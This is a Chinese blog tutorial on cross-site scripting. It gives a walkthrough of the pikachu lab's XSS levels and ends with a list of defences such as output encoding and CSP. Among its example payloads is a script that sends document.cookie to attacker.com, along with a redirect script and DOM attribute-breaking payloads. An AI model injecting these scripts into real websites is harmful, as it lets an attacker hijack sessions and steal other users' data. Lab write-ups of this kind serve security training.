当前位置: 首页 > article >正文

Cross-Site Scripting(XSS)攻击

简介 

XSS(跨站脚本攻击)是一种常见的 Web 安全漏洞,攻击者通过在目标网站的输入框中注入恶意脚本,当其他用户(如管理员)查看包含恶意脚本的页面时,脚本会在他们的浏览器中执行。XSS 攻击可以分为以下几种类型:

  • 存储型 XSS:恶意脚本被存储在服务器的数据库或文件中,当其他用户访问包含恶意脚本的页面时,脚本会被执行。

  • 反射型 XSS:恶意脚本通过 URL 参数或表单提交被反射回用户浏览器,当用户访问包含恶意脚本的页面时,脚本会被执行。

  • DOM 型 XSS:恶意脚本通过修改页面的 DOM 结构,注入恶意脚本,当页面加载时,恶意脚本会被执行。

XSS 攻击步骤

1 识别漏洞

攻击者首先需要识别目标网站中存在 XSS 漏洞的输入点,例如:

  • 评论框

  • 反馈表单

  • 搜索框

  • URL 参数

2 注入恶意脚本

攻击者在识别的输入点中注入恶意脚本。常见的恶意脚本包括:

  • 弹出警告框<script>alert('XSS');</script>

  • 窃取 Cookie<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>

  • 重定向<script>window.location='http://attacker.com';</script>

  • 修改页面内容<script>document.body.innerHTML='<h1>Hacked!</h1>';</script>

3 触发脚本执行

攻击者需要诱导其他用户(如管理员)访问包含恶意脚本的页面,从而触发脚本执行。常见的触发方式包括:

  • 钓鱼链接:攻击者发送包含恶意脚本的钓鱼链接,诱导用户点击。

  • 社交工程:攻击者通过社交工程手段,诱导用户访问包含恶意脚本的页面。

4 获取敏感信息

如果恶意脚本成功执行,攻击者可以获取用户的敏感信息,例如:

  • Cookie:通过窃取 Cookie,攻击者可以冒充用户身份,访问受保护的资源。

  • 会话令牌:通过窃取会话令牌,攻击者可以劫持用户的会话。

  • 其他敏感信息:攻击者可以通过恶意脚本获取用户的其他敏感信息,如用户名、密码等。

下面介绍pikachu靶场的Cross-Site Scripting(XSS)的通关

XSS类型

1.反射型(get)

看到题目表单输入就要考虑是否有xss漏洞

  • 构造payload尝试:发现我们的输入收到限制,属于前端的限制

  • 查看代码尝试修改使得能够输入 

 

  • 对限制长度做出修改

 

  • 修改之后提交设置好的payload发现能够执行了,说明存在漏洞 

 


 2.反射型(POST)

使用已经爆破的用户和密码进行登入发现和上一关是一样的了

 

  • 构造payload后发现也能执行弹框 

 

  • POST与get方法不同的在于post方式提交表单时在URL不会显示,而get方式提交会在URL中显示提交的信息 

 3.存储型XSS

  • 看到时留言板也要想到XSS漏洞,尝试构造payload提交发现能执行,并且发现提交的信息已经进行了存储,当重新进入这个页面时依然会触发弹窗。

 


4.DOM型 XSS

  • 看到表单也是先尝试构造payload提交看看是否有变化 

 

  • 没有任何发现 
  • 查看源代码

 

  • 看到输入框中的内容就是代码中的str,可以尝试在这里构造一个闭合,实现弹窗
  • 重新设置payload: 'οnclick="alert("FF")" ,提交之后点击下面的提示文字发现实现了弹框。

 

 


5.DOM型XSS-X 

  • 与上一关类似,不同的是可以观察到提交的信息可以在URL的text看到,所以也是构造闭合payload后点击下方文字即可

看到弹窗 

 


 6.XSS之盲打

看到题目得输入框首先先随便输入脚本看看有何反应

 

 

  • 当点击提交之后发现没有任何有用的改变,url也没有变化
  • 之后再查看页面的源代码,只能发现post方法提交了输入的东西

 

  • 前端的代码看不出什么问题,尝试登入后台查看有没有什么发现,不知道后台的url,所以可以使用kali的dirb去爆破目录 
  • 登录后发现刚才提交的弹窗已经显示了 

 

  • 并且刚才构造的两个payload已经成功上传 

 


防范措施

为了防范 XSS 攻击,可以采取以下措施:

1 输入验证和过滤

  • 输入验证:对用户输入进行严格的验证,确保输入符合预期的格式和内容。

  • 输出编码:在将用户输入显示到页面上时,进行适当的编码(如 HTML 编码),防止恶意脚本执行。

2 Content Security Policy (CSP)

  • CSP:设置 Content Security Policy,限制页面中可以执行的脚本来源,防止外部脚本的执行。

3 安全头设置

  • X-XSS-Protection:启用浏览器内置的 XSS 过滤器,防止简单的 XSS 攻击。

  • X-Content-Type-Options:防止 MIME 类型嗅探,确保浏览器正确解析内容类型。

4 定期安全审计

  • 代码审查:定期进行代码审查,确保没有潜在的 XSS 漏洞。

  • 安全测试:使用自动化工具和手动测试方法,进行安全测试,如渗透测试、模糊测试等。

5 使用安全的库和框架

  • 使用安全的库和框架:使用经过验证的安全库和框架,避免使用过时或不安全的组件。

 先到这里吧!!!


http://www.kler.cn/a/409223.html

相关文章:

  • ROS2 报错记录
  • 【通俗理解】边际化技巧在概率论中的应用——从公式到实例
  • 用 Python 从零开始创建神经网络(九):反向传播(Backpropagation)
  • 深入理解索引(一)
  • 【线程】Java线程操作
  • Spring Cloud Data Flow快速入门Demo
  • MassTransit中文文档
  • MATLAB神经网络(五)——R-CNN视觉检测
  • 什麼是ISP提供的公共IP地址?
  • 低成本TYPE-C转DP线
  • 企业OA系统:Spring Boot技术实现与管理
  • 对传统加密算法降维打击?!——量子计算
  • springMVC重点知识
  • Centos-stream 9,10 add repo
  • 对元素为 pair 的数组的各元素进行排序的方法
  • 基于之前的秒杀功能的优化(包括Sentinel在SpringBoot中的简单应用)
  • 学习记录:js算法(一百零二):使用最小花费爬楼梯
  • 9.10Ubuntu网络编程环境配置,已解决
  • 力扣 41. 缺失的第一个正数
  • 【tomcat】tomcat的默认配置
  • 【Linux】详解shell代码实现(上)
  • postman 调用 下载接口(download)使用默认名称(response.txt 或随机名称)
  • A045-基于spring boot的个人博客系统的设计与实现
  • 数据结构 ——— 希尔排序算法的实现
  • 鸿蒙NEXT开发案例:二维码的生成与识别
  • Redis核心数据结构与高性能原理